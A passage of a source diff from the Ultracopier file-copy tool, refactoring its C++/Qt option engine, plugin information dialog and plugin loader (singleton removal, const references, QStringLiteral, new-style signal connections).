+++ b/OptionEngine.h
@@ -1,8 +1,6 @@
/** \file OptionEngine.h
\brief Define the class of the option engine
\author alpha_one_x86
-\version 0.3
-\date 2010
\licence GPL3, see the file COPYING */
#ifndef OPTION_ENGINE_H
@@ -26,7 +24,6 @@
#include "interface/OptionInterface.h"
#include "Environment.h"
-#include "Singleton.h"
#include "ResourcesManager.h"
/** \brief To store the options
@@ -34,61 +31,56 @@
That's allow to have mutualised way to store the options. Then the plugins just keep Ultracopier manage it, the portable version will store on the disk near the application, and the normal version will keep at the normal location.
That's allow to have cache and buffer to not slow down Ultracopier when it's doing heavy copy/move.
*/
-class OptionEngine : public QObject, public Singleton<OptionEngine>
+class OptionEngine : public QObject
{
- Q_OBJECT
- //class OptionEngine : public OptionInterface, public QDialog, public Singleton<OptionEngine>
- friend class Singleton<OptionEngine>;
- public:
- /// \brief To add option group to options
- bool addOptionGroup(const QString &groupName,const QList<QPair<QString, QVariant> > &KeysList);
- /// \brief To remove option group to options, remove the widget need be do into the calling object
- bool removeOptionGroup(const QString &groupName);
- /// \brief To get option value
- QVariant getOptionValue(const QString &groupName,const QString &variableName);
- /// \brief To set option value
- void setOptionValue(const QString &groupName,const QString &variableName,const QVariant &value);
- /// \brief To invalid option value
- //void setInvalidOptionValue(const QString &groupName,const QString &variableName);
- /// \brief get query reset options
- void queryResetOptions();
- private:
- /// \brief Initiate the option, load from backend
- OptionEngine();
- /// \brief Destroy the option
- ~OptionEngine();
+ Q_OBJECT
+ //class OptionEngine : public OptionInterface, public QDialog, public Singleton<OptionEngine>
+ public:
+ /// \brief Initiate the option, load from backend
+ OptionEngine();
+ /// \brief Destroy the option
+ ~OptionEngine();
+ /// \brief To add option group to options
+ bool addOptionGroup(const QString &groupName,const QList<QPair<QString, QVariant> > &KeysList);
+ /// \brief To remove option group to options, remove the widget need be do into the calling object
+ bool removeOptionGroup(const QString &groupName);
+ /// \brief To get option value
+ QVariant getOptionValue(const QString &groupName,const QString &variableName) const;
+ /// \brief To set option value
+ void setOptionValue(const QString &groupName,const QString &variableName,const QVariant &value);
+ /// \brief To invalid option value
+ //void setInvalidOptionValue(const QString &groupName,const QString &variableName);
+ /// \brief get query reset options
+ void queryResetOptions();
+ private:
+ /// \brief OptionEngineGroupKey then: Group -> Key
+ struct OptionEngineGroupKey
+ {
+ QVariant defaultValue;
+ QVariant currentValue;
+ bool emptyList;
+ };
- /// \brief OptionEngineGroupKey then: Group -> Key
- struct OptionEngineGroupKey
- {
- QVariant defaultValue;
- QVariant currentValue;
- bool emptyList;
- };
-
- /// \brief store the option group list
- QHash<QString,QHash<QString,OptionEngineGroupKey> > GroupKeysList;
- QStringList unmanagedTabName;
- /// \brief Enumeration of backend
- enum Backend
- {
- Memory, //Do intensive usage of memory, used only if the file backend is not available
- File //Store all directly into file
- };
- /// \brief The current backend
- Backend currentBackend;
- /// \brief To store QSettings for the backend
- QSettings *settings;
- #ifdef ULTRACOPIER_VERSION_PORTABLE
- ResourcesManager *resources;
- #endif // ULTRACOPIER_VERSION_PORTABLE
- //the reset of right value of widget need be do into the calling object
- void internal_resetToDefaultValue();
- //temp variable
- int loop_size,loop_sub_size,indexGroup,indexGroupKey,index;
- signals:
- void newOptionValue(const QString&,const QString&,const QVariant&);
- void resetOptions();
+ /// \brief store the option group list
+ QHash<QString,QHash<QString,OptionEngineGroupKey> > GroupKeysList;
+ QStringList unmanagedTabName;
+ /// \brief Enumeration of backend
+ enum Backend
+ {
+ Memory, //Do intensive usage of memory, used only if the file backend is not available
+ File //Store all directly into file
+ };
+ /// \brief The current backend
+ Backend currentBackend;
+ /// \brief To store QSettings for the backend
+ QSettings *settings;
+ //the reset of right value of widget need be do into the calling object
+ void internal_resetToDefaultValue();
+ signals:
+ void newOptionValue(const QString&,const QString&,const QVariant&) const;
+ void resetOptions() const;
+ public:
+ static OptionEngine *optionEngine;
};
#endif // OPTION_ENGINE_H
diff --git a/PlatformMacro.h b/PlatformMacro.h
index 5b79534..d15329d 100644
--- a/PlatformMacro.h
+++ b/PlatformMacro.h
@@ -1,8 +1,6 @@
/** \file PlatformMacro.h
\brief Define the macro for the platform
\author alpha_one_x86
-\version 0.3
-\date 2010
\licence GPL3, see the file COPYING */
#include <QObject>
diff --git a/PluginInformation.cpp b/PluginInformation.cpp
index 11912fa..3f5a09a 100644
--- a/PluginInformation.cpp
+++ b/PluginInformation.cpp
@@ -1,8 +1,6 @@
/** \file PluginInformation.cpp
\brief Define the plugin information
\author alpha_one_x86
-\version 0.3
-\date 2010
\licence GPL3, see the file COPYING */
#include "PluginInformation.h"
@@ -11,116 +9,116 @@
PluginInformation::PluginInformation() :
ui(new Ui::PluginInformation)
{
- ui->setupUi(this);
- pluginIsLoaded=false;
+ ui->setupUi(this);
+ pluginIsLoaded=false;
}
PluginInformation::~PluginInformation()
{
- delete ui;
+ delete ui;
}
-void PluginInformation::setPlugin(PluginsAvailable plugin)
+void PluginInformation::setPlugin(const PluginsAvailable &plugin)
{
- this->plugin=plugin;
- pluginIsLoaded=true;
- retranslateInformation();
+ this->plugin=plugin;
+ pluginIsLoaded=true;
+ retranslateInformation();
}
-void PluginInformation::setLanguage(QString language)
+void PluginInformation::setLanguage(const QString &language)
{
- this->language=language;
+ this->language=language;
}
-QString PluginInformation::categoryToTranslation(PluginType category)
+QString PluginInformation::categoryToTranslation(const PluginType &category) const
{
- switch(category)
- {
- case PluginType_CopyEngine:
- return tr("CopyEngine");
- break;
- case PluginType_Languages:
- return tr("Languages");
- break;
- case PluginType_Listener:
- return tr("Listener");
- break;
- case PluginType_PluginLoader:
- return tr("PluginLoader");
- break;
- case PluginType_SessionLoader:
- return tr("SessionLoader");
- break;
- case PluginType_Themes:
- return tr("Themes");
- break;
- default:
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"cat translation not found");
- return "Unknow";
- break;
- }
+ switch(category)
+ {
+ case PluginType_CopyEngine:
+ return tr("Copy engine");
+ break;
+ case PluginType_Languages:
+ return tr("Languages");
+ break;
+ case PluginType_Listener:
+ return tr("Listener");
+ break;
+ case PluginType_PluginLoader:
+ return tr("Plugin loader");
+ break;
+ case PluginType_SessionLoader:
+ return tr("Session loader");
+ break;
+ case PluginType_Themes:
+ return tr("Themes");
+ break;
+ default:
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"cat translation not found");
+ return tr("Unknown");
+ break;
+ }
}
void PluginInformation::retranslateInformation()
{
- if(!pluginIsLoaded)
- return;
- ui->retranslateUi(this);
- this->setWindowTitle(tr("Information about %1").arg(plugin.name));
- ui->name->setText(plugin.name);
- ui->title->setText(getTranslatedText(plugin,"title",language));
- ui->category->setText(categoryToTranslation(plugin.category));
- ui->author->setText(getInformationText(plugin,"author"));
- QString website=getTranslatedText(plugin,"website",language);
- ui->website->setText("<a href=\""+website+"\" title=\""+website+"\">"+website+"</a>");
- bool ok;
- int timeStamps=getInformationText(plugin,"pubDate").toInt(&ok);
- QDateTime date;
- date.setTime_t(timeStamps);
- ui->date->setDateTime(date);
- if(!ok || timeStamps<=0)
- ui->date->setEnabled(false);
- ui->description->setPlainText(getTranslatedText(plugin,"description",language));
- ui->version->setText(getInformationText(plugin,"version"));
+ if(!pluginIsLoaded)
+ return;
+ ui->retranslateUi(this);
+ this->setWindowTitle(tr("Information about %1").arg(plugin.name));
+ ui->name->setText(plugin.name);
+ ui->title->setText(getTranslatedText(plugin,QStringLiteral("title"),language));
+ ui->category->setText(categoryToTranslation(plugin.category));
+ ui->author->setText(getInformationText(plugin,QStringLiteral("author")));
+ QString website=getTranslatedText(plugin,QStringLiteral("website"),language);
+ ui->website->setText(QStringLiteral("<a href=\"")+website+QStringLiteral("\" title=\"")+website+QStringLiteral("\">")+website+QStringLiteral("</a>"));
+ bool ok;
+ int timeStamps=getInformationText(plugin,QStringLiteral("pubDate")).toInt(&ok);
+ QDateTime date;
+ date.setTime_t(timeStamps);
+ ui->date->setDateTime(date);
+ if(!ok || timeStamps<=0)
+ ui->date->setEnabled(false);
+ ui->description->setPlainText(getTranslatedText(plugin,QStringLiteral("description"),language));
+ ui->version->setText(getInformationText(plugin,QStringLiteral("version")));
}
/// \brief get informations text
-QString PluginInformation::getInformationText(PluginsAvailable plugin,QString informationName)
+QString PluginInformation::getInformationText(const PluginsAvailable &plugin,const QString &informationName)
{
- int index=0;
- while(index<plugin.informations.size())
- {
- if(plugin.informations.at(index).size()==2 && plugin.informations.at(index).first()==informationName)
- return plugin.informations.at(index).last();
- index++;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"information not found: "+informationName+", for: "+plugin.name+", cat: "+categoryToTranslation(plugin.category));
- return "";
+ int index=0;
+ while(index<plugin.informations.size())
+ {
+ if(plugin.informations.at(index).size()==2 && plugin.informations.at(index).first()==informationName)
+ return plugin.informations.at(index).last();
+ index++;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"information not found: "+informationName+", for: "+plugin.name+", cat: "+categoryToTranslation(plugin.category));
+ return "";
}
/// \brief get translated text
-QString PluginInformation::getTranslatedText(PluginsAvailable plugin,QString informationName,QString mainShortName)
+QString PluginInformation::getTranslatedText(const PluginsAvailable &plugin,const QString &informationName,const QString &mainShortName)
{
- int index=0;
- QString TextFound;
- while(index<plugin.informations.size())
- {
- if(plugin.informations.at(index).size()==3)
- {
- if(plugin.informations.at(index).first()==informationName)
- {
- if(plugin.informations.at(index).at(1)==mainShortName)
- return plugin.informations.at(index).last();
- else if(plugin.informations.at(index).at(1)=="en")
- TextFound=plugin.informations.at(index).last();
+ int index=0;
+ QString TextFound;
+ while(index<plugin.informations.size())
+ {
+ if(plugin.informations.at(index).size()==3)
+ {
+ if(plugin.informations.at(index).first()==informationName)
+ {
+ if(plugin.informations.at(index).at(1)==mainShortName)
+ return plugin.informations.at(index).last();
+ else if(plugin.informations.at(index).at(1)==QStringLiteral("en"))
+ TextFound=plugin.informations.at(index).last();
- }
- }
- index++;
- }
- #ifdef ULTRACOPIER_DEBUG
- if(TextFound.isEmpty() || TextFound.isEmpty())
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"text is not found or empty for: "+informationName+", with the language: "+mainShortName+", for the plugin: "+plugin.path);
- #endif // ULTRACOPIER_DEBUG
- return TextFound;
+ }
+ }
+ index++;
+ }
+ #ifdef ULTRACOPIER_DEBUG
+ if(TextFound.isEmpty() || TextFound.isEmpty())
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"text is not found or empty for: "+informationName+", with the language: "+mainShortName+", for the plugin: "+plugin.path);
+ #endif // ULTRACOPIER_DEBUG
+ return TextFound;
}
diff --git a/PluginInformation.h b/PluginInformation.h
index bae5ea4..c1bda2f 100644
--- a/PluginInformation.h
+++ b/PluginInformation.h
@@ -1,8 +1,6 @@
/** \file PluginInformation.h
\brief Define the plugin information
\author alpha_one_x86
-\version 0.3
-\date 2010
\licence GPL3, see the file COPYING */
#ifndef PLUGININFORMATION_H
@@ -20,25 +18,25 @@ namespace Ui {
/** \brief to show the plugin information */
class PluginInformation : public QDialog
{
- Q_OBJECT
- public:
- explicit PluginInformation();
- ~PluginInformation();
- /** \brief get translated categorie */
- QString categoryToTranslation(PluginType category);
- /** \brief to get the new plugin informations */
- void setPlugin(PluginsAvailable plugin);
- /** \brief to set the language */
- void setLanguage(QString language);
- public slots:
- void retranslateInformation();
- private:
- bool pluginIsLoaded;
- PluginsAvailable plugin;
- Ui::PluginInformation *ui;
- QString language;
- QString getInformationText(PluginsAvailable plugin,QString informationName);
- QString getTranslatedText(PluginsAvailable plugin,QString informationName,QString mainShortName);
+ Q_OBJECT
+ public:
+ explicit PluginInformation();
+ ~PluginInformation();
+ /** \brief get translated categorie */
+ QString categoryToTranslation(const PluginType &category) const;
+ /** \brief to get the new plugin informations */
+ void setPlugin(const PluginsAvailable &plugin);
+ /** \brief to set the language */
+ void setLanguage(const QString &language);
+ public slots:
+ void retranslateInformation();
+ private:
+ bool pluginIsLoaded;
+ PluginsAvailable plugin;
+ Ui::PluginInformation *ui;
+ QString language;
+ QString getInformationText(const PluginsAvailable &plugin,const QString &informationName);
+ QString getTranslatedText(const PluginsAvailable &plugin,const QString &informationName,const QString &mainShortName);
};
#endif // PLUGININFORMATION_H
diff --git a/PluginLoader.cpp b/PluginLoader.cpp
index 1e63633..7577885 100755..100644
--- a/PluginLoader.cpp
+++ b/PluginLoader.cpp
@@ -1,240 +1,302 @@
/** \file PluginLoader.h
\brief Define the plugin loader
\author alpha_one_x86
-\version 0.3
-\date 2010
\licence GPL3, see the file COPYING */
#include "PluginLoader.h"
+#include "LanguagesManager.h"
PluginLoader::PluginLoader(OptionDialog *optionDialog)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- this->optionDialog=optionDialog;
- //load the overall instance
- plugins=PluginsManager::getInstance();
- //load the plugin
- plugins->lockPluginListEdition();
- qRegisterMetaType<PluginsAvailable>("PluginsAvailable");
- qRegisterMetaType<CatchState>("CatchState");
- connect(this,SIGNAL(previouslyPluginAdded(PluginsAvailable)), this,SLOT(onePluginAdded(PluginsAvailable)),Qt::QueuedConnection);
- connect(plugins,SIGNAL(onePluginAdded(PluginsAvailable)), this,SLOT(onePluginAdded(PluginsAvailable)),Qt::QueuedConnection);
- connect(plugins,SIGNAL(onePluginWillBeRemoved(PluginsAvailable)), this,SLOT(onePluginWillBeRemoved(PluginsAvailable)),Qt::DirectConnection);
- connect(plugins,SIGNAL(pluginListingIsfinish()), this,SLOT(allPluginIsloaded()),Qt::QueuedConnection);
- QList<PluginsAvailable> list=plugins->getPluginsByCategory(PluginType_PluginLoader);
- foreach(PluginsAvailable currentPlugin,list)
- emit previouslyPluginAdded(currentPlugin);
- plugins->unlockPluginListEdition();
- needEnable=false;
- last_state=Uncaught;
- last_have_plugin=false;
- last_inWaitOfReply=false;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ this->optionDialog=optionDialog;
+ //load the overall instance
+ //load the plugin
+ PluginsManager::pluginsManager->lockPluginListEdition();
+ connect(this,&PluginLoader::previouslyPluginAdded, this,&PluginLoader::onePluginAdded,Qt::QueuedConnection);
+ connect(PluginsManager::pluginsManager,&PluginsManager::onePluginAdded, this,&PluginLoader::onePluginAdded,Qt::QueuedConnection);
+ #ifndef ULTRACOPIER_PLUGIN_ALL_IN_ONE
+ connect(PluginsManager::pluginsManager,&PluginsManager::onePluginWillBeRemoved,this,&PluginLoader::onePluginWillBeRemoved,Qt::DirectConnection);
+ #endif
+ connect(PluginsManager::pluginsManager,&PluginsManager::pluginListingIsfinish, this,&PluginLoader::allPluginIsloaded,Qt::QueuedConnection);
+ QList<PluginsAvailable> list=PluginsManager::pluginsManager->getPluginsByCategory(PluginType_PluginLoader);
+ foreach(PluginsAvailable currentPlugin,list)
+ emit previouslyPluginAdded(currentPlugin);
+ PluginsManager::pluginsManager->unlockPluginListEdition();
+ needEnable=false;
+ last_state=Ultracopier::Uncaught;
+ last_have_plugin=false;
+ last_inWaitOfReply=false;
+ stopIt=false;
}
PluginLoader::~PluginLoader()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- QList<PluginsAvailable> list=plugins->getPluginsByCategory(PluginType_PluginLoader);
- foreach(PluginsAvailable currentPlugin,list)
- onePluginWillBeRemoved(currentPlugin);
- PluginsManager::destroyInstanceAtTheLastCall();
+ stopIt=true;
+ #ifndef ULTRACOPIER_PLUGIN_ALL_IN_ONE_DIRECT
+ {
+ /* why it crash here? Only under Window with PluginLoader/catchcopy-v0002
+ int index=0;
+ while(index<pluginList.size())
+ {
+ pluginList.at(index).pluginLoaderInterface->setEnabled(false);
+ if(pluginList.at(index).pluginLoader!=NULL)
+ {
+ if(!pluginList.at(index).pluginLoader->isLoaded() || pluginList.at(index).pluginLoader->unload())
+ {
+ delete pluginList.at(index).options;
+ pluginList.removeAt(index);
+ }
+ else
+ index++;
+ }
+ else
+ index++;
+ }//*/
+ }
+ #endif
}
void PluginLoader::resendState()
{
- sendState(true);
+ if(stopIt)
+ return;
+ sendState(true);
}
void PluginLoader::onePluginAdded(const PluginsAvailable &plugin)
{
- if(plugin.category!=PluginType_PluginLoader)
- return;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- QString pluginPath=plugin.path+PluginsManager::getResolvedPluginName("pluginLoader");
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"try load: "+pluginPath);
- QPluginLoader *pluginLoader= new QPluginLoader(pluginPath);
- QObject *pluginInstance = pluginLoader->instance();
- if(pluginInstance)
- {
- PluginInterface_PluginLoader *PluginLoader = qobject_cast<PluginInterface_PluginLoader *>(pluginInstance);
- //check if found
- index=0;
- loop_size=pluginList.size();
- while(index<loop_size)
- {
- if(pluginList.at(index).PluginLoaderInterface==PluginLoader)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("Plugin already found"));
- pluginLoader->unload();
- return;
- }
- index++;
- }
- if(PluginLoader)
- {
- #ifdef ULTRACOPIER_DEBUG
- connect(PluginLoader,SIGNAL(debugInformation(DebugLevel,QString,QString,QString,int)),this,SLOT(debugInformation(DebugLevel,QString,QString,QString,int)));
- #endif // ULTRACOPIER_DEBUG
- LocalPlugin newEntry;
- newEntry.options=new LocalPluginOptions("PluginLoader-"+plugin.name);
- newEntry.pluginLoader = pluginLoader;
- newEntry.PluginLoaderInterface = PluginLoader;
- newEntry.path = plugin.path;
- newEntry.state = Uncaught;
- newEntry.inWaitOfReply = false;
- pluginList << newEntry;
- PluginLoader->setResources(newEntry.options,plugin.writablePath,plugin.path,ULTRACOPIER_VERSION_PORTABLE_BOOL);
- optionDialog->addPluginOptionWidget(PluginType_PluginLoader,plugin.name,newEntry.PluginLoaderInterface->options());
- connect(pluginList.last().PluginLoaderInterface,SIGNAL(newState(CatchState)),this,SLOT(newState(CatchState)));
- connect(languages,SIGNAL(newLanguageLoaded(QString)),newEntry.PluginLoaderInterface,SLOT(newLanguageLoaded()));
- if(needEnable)
- {
- pluginList.last().inWaitOfReply=true;
- newEntry.PluginLoaderInterface->setEnabled(needEnable);
- }
+ #ifndef ULTRACOPIER_PLUGIN_ALL_IN_ONE_DIRECT
+ if(stopIt)
+ return;
+ if(plugin.category!=PluginType_PluginLoader)
+ return;
+ LocalPlugin newEntry;
+ QString pluginPath=plugin.path+PluginsManager::getResolvedPluginName(QStringLiteral("pluginLoader"));
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("try load: ")+pluginPath);
+ #ifdef ULTRACOPIER_PLUGIN_ALL_IN_ONE
+ PluginInterface_PluginLoader *pluginLoaderInstance;
+ QObjectList objectList=QPluginLoader::staticInstances();
+ int index=0;
+ QObject *pluginObject;
+ while(index<objectList.size())
+ {
+ pluginObject=objectList.at(index);
+ pluginLoaderInstance = qobject_cast<PluginInterface_PluginLoader *>(pluginObject);
+ if(pluginLoaderInstance!=NULL)
+ break;
+ index++;
+ }
+ if(index==objectList.size())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("static listener not found"));
+ return;
+ }
+ newEntry.pluginLoader=NULL;
+ #else
+ QPluginLoader *pluginLoader= new QPluginLoader(pluginPath);
+ QObject *pluginInstance = pluginLoader->instance();
+ if(!pluginInstance)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("unable to load the plugin: ")+pluginLoader->errorString());
+ return;
+ }
+ PluginInterface_PluginLoader *pluginLoaderInstance = qobject_cast<PluginInterface_PluginLoader *>(pluginInstance);
+ if(!pluginLoaderInstance)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("unable to cast the plugin: ")+pluginLoader->errorString());
+ return;
+ }
+ newEntry.pluginLoader = pluginLoader;
+ //check if found
+ int index=0;
+ const int &loop_size=pluginList.size();
+ while(index<loop_size)
+ {
+ if(pluginList.at(index).pluginLoaderInterface==pluginLoaderInstance)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("Plugin already found"));
+ pluginLoader->unload();
+ return;
+ }
+ index++;
+ }
+ #endif
+ #ifdef ULTRACOPIER_DEBUG
+ connect(pluginLoaderInstance,&PluginInterface_PluginLoader::debugInformation,this,&PluginLoader::debugInformation,Qt::DirectConnection);
+ #endif // ULTRACOPIER_DEBUG
- }
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"unable to cast the plugin: "+pluginLoader->errorString());
- }
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"unable to load the plugin: "+pluginLoader->errorString());
+ newEntry.options=new LocalPluginOptions(QStringLiteral("PluginLoader-")+plugin.name);
+ newEntry.pluginLoaderInterface = pluginLoaderInstance;
+ newEntry.path = plugin.path;
+ newEntry.state = Ultracopier::Uncaught;
+ newEntry.inWaitOfReply = false;
+ pluginList << newEntry;
+ pluginLoaderInstance->setResources(newEntry.options,plugin.writablePath,plugin.path,ULTRACOPIER_VERSION_PORTABLE_BOOL);
+ optionDialog->addPluginOptionWidget(PluginType_PluginLoader,plugin.name,newEntry.pluginLoaderInterface->options());
+ connect(pluginList.last().pluginLoaderInterface,&PluginInterface_PluginLoader::newState,this,&PluginLoader::newState,Qt::DirectConnection);
+ connect(LanguagesManager::languagesManager,&LanguagesManager::newLanguageLoaded,newEntry.pluginLoaderInterface,&PluginInterface_PluginLoader::newLanguageLoaded,Qt::DirectConnection);
+ if(needEnable)
+ {
+ pluginList.last().inWaitOfReply=true;
+ newEntry.pluginLoaderInterface->setEnabled(needEnable);
+ }
+ #else
+ Q_UNUSED(plugin);
+ #endif
}
+#ifndef ULTRACOPIER_PLUGIN_ALL_IN_ONE
void PluginLoader::onePluginWillBeRemoved(const PluginsAvailable &plugin)
{
- if(plugin.category!=PluginType_PluginLoader)
- return;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- index=0;
- loop_size=pluginList.size();
- while(index<loop_size)
- {
- if(plugin.path==pluginList.at(index).path)
- {
- pluginList.at(index).PluginLoaderInterface->setEnabled(false);
- if(!pluginList.at(index).pluginLoader->isLoaded() || pluginList.at(index).pluginLoader->unload())
- {
- delete pluginList.at(index).options;
- pluginList.removeAt(index);
- }
- sendState();
- return;
- }
- index++;
- }
+ if(stopIt)
+ return;
+ if(plugin.category!=PluginType_PluginLoader)
+ return;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ int index=0;
+ const int &loop_size=pluginList.size();
+ while(index<loop_size)
+ {
+ if(plugin.path==pluginList.at(index).path)
+ {
+ pluginList.at(index).pluginLoaderInterface->setEnabled(false);
+ if(pluginList.at(index).pluginLoader!=NULL)
+ {
+ if(!pluginList.at(index).pluginLoader->isLoaded() || pluginList.at(index).pluginLoader->unload())
+ {
+ delete pluginList.at(index).options;
+ pluginList.removeAt(index);
+ }
+ }
+ sendState();
+ return;
+ }
+ index++;
+ }
}
+#endif
void PluginLoader::load()
{
- needEnable=true;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- int index=0;
- while(index<pluginList.size())
- {
- pluginList[index].inWaitOfReply=true;
- pluginList.at(index).PluginLoaderInterface->setEnabled(true);
- index++;
- }
- sendState(true);
+ if(stopIt)
+ return;
+ needEnable=true;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ int index=0;
+ while(index<pluginList.size())
+ {
+ pluginList[index].inWaitOfReply=true;
+ pluginList.at(index).pluginLoaderInterface->setEnabled(true);
+ index++;
+ }
+ sendState(true);
}
void PluginLoader::unload()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- needEnable=false;
- int index=0;
- while(index<pluginList.size())
- {
- pluginList[index].inWaitOfReply=true;
- pluginList.at(index).PluginLoaderInterface->setEnabled(false);
- index++;
- }
- sendState(true);
+ if(stopIt)
+ return;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ needEnable=false;
+ int index=0;
+ while(index<pluginList.size())
+ {
+ pluginList[index].inWaitOfReply=true;
+ pluginList.at(index).pluginLoaderInterface->setEnabled(false);
+ index++;
+ }
+ sendState(true);
}
#ifdef ULTRACOPIER_DEBUG
-void PluginLoader::debugInformation(DebugLevel level,const QString& fonction,const QString& text,const QString& file,const int& ligne)
+void PluginLoader::debugInformation(const Ultracopier::DebugLevel &level,const QString& fonction,const QString& text,const QString& file,const int& ligne)
{
- DebugEngine::addDebugInformationStatic(level,fonction,text,file,ligne,"Plugin loader plugin");
+ DebugEngine::addDebugInformationStatic(level,fonction,text,file,ligne,QStringLiteral("Plugin loader plugin"));
}
#endif // ULTRACOPIER_DEBUG
void PluginLoader::allPluginIsloaded()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"with value: "+QString::number(pluginList.size()>0));
- sendState(true);
+ if(stopIt)
+ return;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("with value: ")+QString::number(pluginList.size()>0));
+ sendState(true);
}
void PluginLoader::sendState(bool force)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("start, pluginList.size(): %1, force: %2").arg(pluginList.size()).arg(force));
- CatchState current_state=Uncaught;
- bool found_not_listen=false,found_listen=false,found_inWaitOfReply=false;
- int index=0;
- while(index<pluginList.size())
- {
- if(current_state==Uncaught)
- {
- if(pluginList.at(index).state==Semiuncaught)
- current_state=Semiuncaught;
- else if(pluginList.at(index).state==Uncaught)
- found_not_listen=true;
- else if(pluginList.at(index).state==Caught)
- found_listen=true;
- }
- if(pluginList.at(index).inWaitOfReply)
- found_inWaitOfReply=true;
- index++;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("current_state: %1").arg(current_state));
- if(current_state==Uncaught)
- {
- if(!found_not_listen && !found_listen)
- {
- if(needEnable)
- current_state=Caught;
- }
- else if(found_not_listen && !found_listen)
- current_state=Uncaught;
- else if(!found_not_listen && found_listen)
- current_state=Caught;
- else
- current_state=Semiuncaught;
- }
- bool have_plugin=pluginList.size()>0;
- if(force || current_state!=last_state || have_plugin!=last_have_plugin || found_inWaitOfReply!=last_inWaitOfReply)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("send pluginLoaderReady(%1,%2,%3)").arg(current_state).arg(have_plugin).arg(found_inWaitOfReply));
- emit pluginLoaderReady(current_state,have_plugin,found_inWaitOfReply);
- }
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("Skip the signal sending"));
- last_state=current_state;
- last_have_plugin=have_plugin;
- last_inWaitOfReply=found_inWaitOfReply;
+ if(stopIt)
+ return;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start, pluginList.size(): %1, force: %2").arg(pluginList.size()).arg(force));
+ Ultracopier::CatchState current_state=Ultracopier::Uncaught;
+ bool found_not_listen=false,found_listen=false,found_inWaitOfReply=false;
+ int index=0;
+ while(index<pluginList.size())
+ {
+ if(current_state==Ultracopier::Uncaught)
+ {
+ if(pluginList.at(index).state==Ultracopier::Semiuncaught)
+ current_state=Ultracopier::Semiuncaught;
+ else if(pluginList.at(index).state==Ultracopier::Uncaught)
+ found_not_listen=true;
+ else if(pluginList.at(index).state==Ultracopier::Caught)
+ found_listen=true;
+ }
+ if(pluginList.at(index).inWaitOfReply)
+ found_inWaitOfReply=true;
+ index++;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("current_state: %1").arg(current_state));
+ if(current_state==Ultracopier::Uncaught)
+ {
+ if(!found_not_listen && !found_listen)
+ {
+ if(needEnable)
+ current_state=Ultracopier::Caught;
+ }
+ else if(found_not_listen && !found_listen)
+ current_state=Ultracopier::Uncaught;
+ else if(!found_not_listen && found_listen)
+ current_state=Ultracopier::Caught;
+ else
+ current_state=Ultracopier::Semiuncaught;
+ }
+ bool have_plugin=pluginList.size()>0;
+ if(force || current_state!=last_state || have_plugin!=last_have_plugin || found_inWaitOfReply!=last_inWaitOfReply)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("send pluginLoaderReady(%1,%2,%3)").arg(current_state).arg(have_plugin).arg(found_inWaitOfReply));
+ emit pluginLoaderReady(current_state,have_plugin,found_inWaitOfReply);
+ }
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("Skip the signal sending"));
+ last_state=current_state;
+ last_have_plugin=have_plugin;
+ last_inWaitOfReply=found_inWaitOfReply;
}
-void PluginLoader::newState(const CatchState &state)
+void PluginLoader::newState(const Ultracopier::CatchState &state)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("start, state: %1").arg(state));
- PluginInterface_PluginLoader *temp=qobject_cast<PluginInterface_PluginLoader *>(QObject::sender());
- if(temp==NULL)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,QString("listener not located!"));
- return;
- }
- int index=0;
- while(index<pluginList.size())
- {
- if(temp==pluginList.at(index).PluginLoaderInterface)
- {
- pluginList[index].state=state;
- pluginList[index].inWaitOfReply=false;
- sendState(true);
- return;
- }
- index++;
- }
